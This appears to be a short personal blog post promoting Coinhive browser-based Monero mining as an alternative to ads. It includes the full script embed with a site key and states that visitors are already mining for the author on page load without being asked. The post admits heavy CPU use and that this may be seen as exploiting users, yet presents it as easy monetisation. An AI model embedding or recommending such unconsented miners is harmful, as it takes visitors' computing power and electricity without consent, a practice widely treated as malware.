I’ve blogged about ads before and how to use Google AdSense. I have AdSense enabled on this site and it earns next to nothing. It’s intrusive and a lot of people view it negatively.
However, there aren’t many non intrusive alternatives. But here is one.
Monero is a blockchain based currency that has a strong emphasis on privacy. It’s constantly under development and seeing steady increases in value.
Since you’re on this page, you’re mining Monero for me right now.
Thank you for supporting me!
Unless your ad blocker is blocking it! Oh no! Check below to find out.
Implementation is trivial. Simply include the Coinhive script on your page, and call the start function.
<script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> // Replace this with your 'site key'. var miner = new CoinHive.Anonymous('MCtA4Mc6TUNeLD9cOrkuPw06B2Ulz4Ic'); miner.start(); </script>
They also offer callbacks so you can display this information to the user, like this:
Hashes per Second: Loading…
Total Hashes: Loading…
Accepted Hashes: Loading…
If this doesn’t update for you, you probably have NoScript or an ad blocker installed that is blocking the miner. If you want to see how this works, try turning them off and reloading the page.
The major downside of this is that this causes a huge utilisation on the CPU. While most agree they prefer this solution over ads, this can still be viewed as exploiting users without providing them anything in return, (not including your site content).
Coinhive has a deep API that allows you to associate mining with particular users so you can record the number of hashes provided and in return provide the user with rewards.
The real world use case on the Coinhive website is an incredibly persuasive example of this.
Over the next couple of time periods you may see a transistion
If you enjoyed the content please consider leaving a comment, sharing or hiring me.